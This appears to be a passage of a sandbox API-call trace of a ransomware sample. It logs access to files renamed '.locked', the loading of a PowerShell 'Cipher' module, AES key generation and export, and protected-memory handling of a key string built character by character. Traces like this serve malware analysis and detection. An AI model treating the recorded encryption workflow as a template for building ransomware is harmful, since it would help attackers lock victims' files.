lpBuffer="") returned 0x0 [0133.609] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.609] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.609] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.611] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0133.614] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6919430 | out: lpFileInformation=0x6919430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12d8bf95, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x12d8bf95, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x12dab489, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xc44)) returned 1 [0133.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0133.614] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked", lpFilePart=0x0) returned 0x47 [0133.614] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0133.614] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0133.614] CloseHandle (hObject=0x858) returned 1 [0133.617] GetConsoleOutputCP () returned 0x1b5 [0133.621] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.621] GetConsoleOutputCP () returned 0x1b5 [0133.622] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.622] GetConsoleOutputCP () returned 0x1b5 [0133.622] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.622] GetConsoleOutputCP () returned 0x1b5 [0133.623] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.623] GetConsoleOutputCP () returned 0x1b5 [0133.623] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.623] GetConsoleOutputCP () returned 0x1b5 [0133.624] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.624] GetConsoleOutputCP () returned 0x1b5 [0133.624] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.624] GetConsoleOutputCP () returned 0x1b5 [0133.625] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.625] GetConsoleOutputCP () returned 0x1b5 [0133.625] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.625] GetConsoleOutputCP () returned 0x1b5 [0133.626] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.626] GetConsoleOutputCP () returned 0x1b5 [0133.626] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.626] GetConsoleOutputCP () returned 0x1b5 [0133.626] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.627] GetConsoleOutputCP () returned 0x1b5 [0133.627] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.627] GetConsoleOutputCP () returned 0x1b5 [0133.627] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.627] GetConsoleOutputCP () returned 0x1b5 [0133.628] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.628] GetConsoleOutputCP () returned 0x1b5 [0133.628] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.628] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0133.629] GetConsoleOutputCP () returned 0x1b5 [0133.629] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0133.629] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.630] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x693ff14*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x693ff14*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0133.630] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.631] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0133.638] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.638] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.639] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.639] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.639] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.639] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.639] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0133.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.640] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.640] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.640] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.641] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396e78) returned 1 [0133.641] CryptGenKey (in: hProv=0x4396e78, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84b38) returned 1 [0133.641] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.641] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.641] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6949a5c, pdwDataLen=0x99ae894 | out: pbData=0x6949a5c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.641] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x99ec\x694\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0133.642] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.642] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.642] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.642] SysStringLen (param_1="") returned 0x8 [0133.642] SysStringLen (param_1="y") returned 0x8 [0133.642] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.642] SysStringLen (param_1="\x6e82\x18be\xb6d7\xad35\xdede\x5f8d\xdf87\x322e") returned 0x8 [0133.642] SysStringLen (param_1="\x6e82\x18be\xb6d7\xad35\xdede\x5f8d\xdf87\x322e") returned 0x8 [0133.642] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.642] SysStringLen (param_1="yI") returned 0x8 [0133.642] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.643] SysStringLen (param_1="\xa6f0\x2e5e\x140a\x5ecc\x1ddb\x4d3\x638e\xdd29") returned 0x8 [0133.643] SysStringLen (param_1="\xa6f0\x2e5e\x140a\x5ecc\x1ddb\x4d3\x638e\xdd29") returned 0x8 [0133.643] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.643] SysStringLen (param_1="yIh") returned 0x8 [0133.643] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.643] SysStringLen (param_1="\x73e0\x654e\xbcd1\x4dd3\x4dc3\x8f94\xdd21\xe195") returned 0x8 [0133.643] SysStringLen (param_1="\x73e0\x654e\xbcd1\x4dd3\x4dc3\x8f94\xdd21\xe195") returned 0x8 [0133.643] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.643] SysStringLen (param_1="yIh/") returned 0x8 [0133.643] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.643] SysStringLen (param_1="\x7f25\xdd10\x1a58\x9963\x5d01\x6c0f\xbdfd\x845c") returned 0x8 [0133.643] SysStringLen (param_1="\x7f25\xdd10\x1a58\x9963\x5d01\x6c0f\xbdfd\x845c") returned 0x8 [0133.643] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.643] SysStringLen (param_1="yIh/h") returned 0x8 [0133.643] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.643] SysStringLen (param_1="\x49a6\x3f34\xb03b\xb306\x97e8\x3c61\xef43\x6bdb") returned 0x8 [0133.644] SysStringLen (param_1="\x49a6\x3f34\xb03b\xb306\x97e8\x3c61\xef43\x6bdb") returned 0x8 [0133.644] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.644] SysStringLen (param_1="yIh/ht") returned 0x8 [0133.644] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.644] SysStringLen (param_1="\x6e89\xb77\x9dab\x8842\x8a4b\x132f\xf9c\xd466") returned 0x8 [0133.644] SysStringLen (param_1="\x6e89\xb77\x9dab\x8842\x8a4b\x132f\xf9c\xd466") returned 0x8 [0133.644] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.644] SysStringLen (param_1="yIh/ht/") returned 0x8 [0133.644] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.644] SysStringLen (param_1="潐țㅙ記㗞훗팏ズ") returned 0x8 [0133.644] SysStringLen (param_1="潐țㅙ記㗞훗팏ズ") returned 0x8 [0133.644] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.644] SysStringLen (param_1="yIh/ht/5") returned 0x8 [0133.644] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.645] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20") returned 0x8 [0133.645] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20") returned 0x8 [0133.645] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20") returned 0x8 [0133.645] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20") returned 0x10 [0133.645] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.645] SysStringLen (param_1="yIh/ht/5E蹉襕囎鴊下ỳ") returned 0x10 [0133.645] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.645] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\x6175\x33f8\xc4af\x83ad\xb23e\xe168\xee15\x8614") returned 0x10 [0133.645] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\x6175\x33f8\xc4af\x83ad\xb23e\xe168\xee15\x8614") returned 0x10 [0133.645] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.645] SysStringLen (param_1="yIh/ht/5EQ襕囎鴊下ỳ") returned 0x10 [0133.645] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.645] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\x40f7\xe3f9\x3644\xcb97\x1da5\x1023\xa314\xf9e5") returned 0x10 [0133.646] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\x40f7\xe3f9\x3644\xcb97\x1da5\x1023\xa314\xf9e5") returned 0x10 [0133.646] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.646] SysStringLen (param_1="yIh/ht/5EQu囎鴊下ỳ") returned 0x10 [0133.646] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.647] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xd4c9\x720f\x792\xecc\x198d\x84e9\x4c8d\x8af") returned 0x10 [0133.647] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xd4c9\x720f\x792\xecc\x198d\x84e9\x4c8d\x8af") returned 0x10 [0133.647] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.647] SysStringLen (param_1="yIh/ht/5EQud鴊下ỳ") returned 0x10 [0133.647] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.647] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xc9db\xf869\x1e0f\x77fc\x6f12\xfbbb\x5abd\xdf") returned 0x10 [0133.647] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xc9db\xf869\x1e0f\x77fc\x6f12\xfbbb\x5abd\xdf") returned 0x10 [0133.647] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.647] SysStringLen (param_1="yIh/ht/5EQudb下ỳ") returned 0x10 [0133.647] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.647] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\x4067\x2e65\x63f8\xf283\x64ed\x2c5a\x7935\xfaa7") returned 0x10 [0133.647] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\x4067\x2e65\x63f8\xf283\x64ed\x2c5a\x7935\xfaa7") returned 0x10 [0133.647] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.648] SysStringLen (param_1="yIh/ht/5EQudbyỳ") returned 0x10 [0133.648] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.648] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\x825e\x3d8c\x9151\xc520\x408\x3110\x3327\x7cf6") returned 0x10 [0133.648] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\x825e\x3d8c\x9151\xc520\x408\x3110\x3327\x7cf6") returned 0x10 [0133.648] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.648] SysStringLen (param_1="yIh/ht/5EQudbyXỳ") returned 0x10 [0133.648] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.648] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xd377\x4f4b\xb6e1\xf510\x47b\xea2d\xdede\xa61d") returned 0x10 [0133.648] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xd377\x4f4b\xb6e1\xf510\x47b\xea2d\xdede\xa61d") returned 0x10 [0133.648] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.648] SysStringLen (param_1="yIh/ht/5EQudbyXg") returned 0x10 [0133.648] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.648] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668") returned 0x10 [0133.648] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668") returned 0x10 [0133.648] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668") returned 0x10 [0133.649] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668") returned 0x18 [0133.649] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.649] SysStringLen (param_1="yIh/ht/5EQudbyXg1犙ퟠ돢瑄堅濇䚻") returned 0x18 [0133.649] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.649] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\x217a\x9fa5\x8ba9\x1b31\x54f2\xb276\x276f\x4c32") 